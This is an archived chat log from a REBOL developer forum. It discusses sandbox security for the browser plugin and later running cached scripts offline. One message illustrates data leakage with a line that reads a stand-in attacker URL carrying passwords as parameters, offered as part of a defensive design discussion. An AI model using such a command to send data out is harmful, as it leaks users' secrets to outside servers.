World: r3wp

That's why I suggested cryptographically signed scripts, that could 
be tracked to an SDK user by RT if necessary. That way, with a header 
like encap uses, you could lower the security for signed scripts. 
That way if your script does something bad, the author could be tracked 
down and sued (shot, whatever ;-)

:-)

Here's a suggestion for a SECURE enhancement: Add a new category, 
sandbox, that would refer to the sandbox directory, whereever that 
is. You could set ask permission for anonymous scripts, allow for 
signed (if specified in the header).

The main thing I would be worried about with a sandbox for anonymous 
scripts would be its potential for involving the user unwittingly 
in illegal or immoral activities that they may not approve of. I 
would rather not list such activities in a web-public group, but 
I can think of dozens of nasty possibilities right off the top of 
my head, and that's just from looing back at activities commonly 
performed by banner ads on many sites.

looing --> looking

Hey, Flash has some nice security requestors on page 3 of that article 
that would be worth emulating.

Those policy files look like an interesting idea that could probably 
be adapted to REBOL/Services.

Thanks for posting the Flash security doc....

I'm going to take these security issues one at a time.

<<disallowing send? why? can't you just send email by java script?>>

Because it is an easy way for some bad software to leak confidential/private 
information from my machine -- gather all the stuff it can and then 
send it in an email.

Similarly, being able to *read* URLs is another way info can be leaked.....The 
server at the other end records the URL parameters, eg

    read http://www.bad-guys-website.com?passwords-dicovered=abcdef/secret123
security as weak as javascript's
 is not a good selling point

I will be using the rebol plugin probably in two ways: 1. making 
real applications as part of a subscription service. 2. making real 
applications that are paid for with ads, generally text and flash 
based ads. And when I say real applications, I basically mean doing 
things you cannot easily do in java or javascript. These ARE things 
that require trusted security, such as sending raw emails, loading 
and saving files, doing virus scans, and all the freaky stuff you 
cannot normally do using AJAX.  Quite simply the situation is that 
if you could do it with AJAX, there is no reason to use rebol--from 
the laymans point of view.

I think the securty essentially needs clear and wide throttle controls.

Yup. Let me give keys to my friends and the others still able to 
knock onthe door.

Ryan, that sounds like just the kind of thing that signed scripts 
should be able to do.

Hi guys. I was going to take the security issues one at a time, but 
Carl and I are talking about getting some kind of file location where 
I can upload a design doc for you to take a look at.

That's probably going to take a couple of weeks, though, as we've 
got some other projects ahead of security.

I'm going to gather your comments and we'll keep those in mind and 
work them into a draft plan which we'll post in the form of a design 
doc in a couple of weeks as I said.

Thanks!

weeks? OK .... just upload somewhere to rebol.net, hidden page later 
...

Just wondering... since the plugin stores a local copy of (simple) 
Reblets in the sandbox, if it had a replicated data-snapshot that 
is used by the Reblet also in the sandbox, would it be possible for 
that code to be executed without a network connection... either with 
or without the browser?

Here's what I am trying to do.  I have a client that has a locked 
PC build (users can't install software).  The plugin managed to install, 
and when network connected was able to find the .r file and execute 
it off the hosting web-server.  However, say the web-server is down 
or network connectivity is unavailable, I'd like the applications 
to still be launchable so the app isn't impacted by an 'outage'.

I suppose I could use Javascript in my HTML file to check for the 
webserver and if not there try to launch the local copy from the 
sandbox.  Any thoughts?

/Desktop uses the local copy wihout network-connection. Maybe the 
plugin does that too?

Or you could download an html-file into the sandbox and the user 
opens it locally by explorer. I guess the plugin would then load 
from the filesystem too. But not sure.

Brock, I'm pretty sure it's possible to do that now. I killed my 
network connection and tested the plugin with a remote file that 
I had already downloaded (it was in the sandbox cache)

Worked fine.

Yes, unplugging works fine.  So if the plugin is running at the time 
of the network connection loss, no problem.  I wasn't however able 
to startup once the connection was lost.

Volker, that may do it, I guess I will need a way to get that local 
html fine into the sandbox, though.  I don't want to install anything, 
but might be able to have the app automatically write that file to 
the local sandbox, hmmm, will try it out.

Its just like the dekstop-sandbox, only on another place. You should 
find that dir by showing 'what-dir. And then just write the html-file 
there, load-thru may do the trick.

Yes, see source of PATH-THRU.  Instead of using DO, LOAD and EXISTS?, 
 use DO-THRU, LOAD-THRU and EXISTS-THRU? They all use PATH-THRU.

Oh, and READ -> READ-THRU

Okay, writing the html file in the sandbox folder worked.  In my 
case, the path to the .r file was C:\Documents and Settings\Brock\Local 
Settings\Temp\REBOL\Plugin\Mozilla\0\public\localhost.  When I placed 
the .html file in the \localhost folder, the html file errored saying 
"Cannot open /C/Documents and Settings/Brock/Local Settings/Temp/REBOL/Plugin/Mozilla/0/wt-selector-2.r", 
so I added the missing part of the physical URL "\public\localhost" 
to the .html file and it works just fine

Maybe using the load-thru or read-thru here would have resolved this? 
 I haven't used those commands much so not certain exactly how the 
-thru commands work and where to use them... I'll read the source 
as suggested by Anton.

No, they are just 'load with download.

would save code, if you did not need to change the file. Then
  load-thru url-of-online-html
would do the trick.

Maybe that could be fixed? That the reblet-url is always relative 
to the folder, be it from url or from files?

I was kind of hoping something like that.  Even better would be that 
if you tried accessing the html file and there wasn't any network 
connectivity that it would by default check to see if the files were 
in the sandbox and you would avoid this all together :-)

Just jump to console and type:

	path-thru http://some-url.com/blah.html

>> view-root

== %/C/Documents and Settings/Anton/Local Settings/Temp/REBOL/Plugin/Mozilla/0/
>> path-thru http://www.rebol.net/afile.html

== %/C/Documents and Settings/Anton/Local Settings/Temp/REBOL/Plugin/Mozilla/0/public/www.rebol.net/afile.html

How about a html-mode in rebol? Where script can be supplied html-encoded? 
Could be nice to show source of reblet. MAybe even could run colored 
scripts.

And one could use html-editors to write. They can handle unicode. 
With some care in parsing rebol could use the &*; as is.

Add a html-field which knows about this, unicode and good integration 
with formatted text.

Don't forget that rich text is coming to rebol at some stage. Then 
we won't need HTML so much.

I mean for im/export. If we can shopw pretty documents, we need something 
 to write it. About html for plugins, that  would be a little demo-feature 
to show code.

I can't wait to be able to click on a ".r" file and have it just 
pop up and go.

I do that all the time by .r-association.

Yeah...not the same...

How does double-clicking on a r file relate to the plugin?

I think he means clicking on a link in a webpage, where the link 
is a .r file.

That works too if the mime for *.r is application/x-rebol . But then 
it is complicated to view source. And it could be nice if *.r would 
run automatically as plugin, without generating an html-wrapper.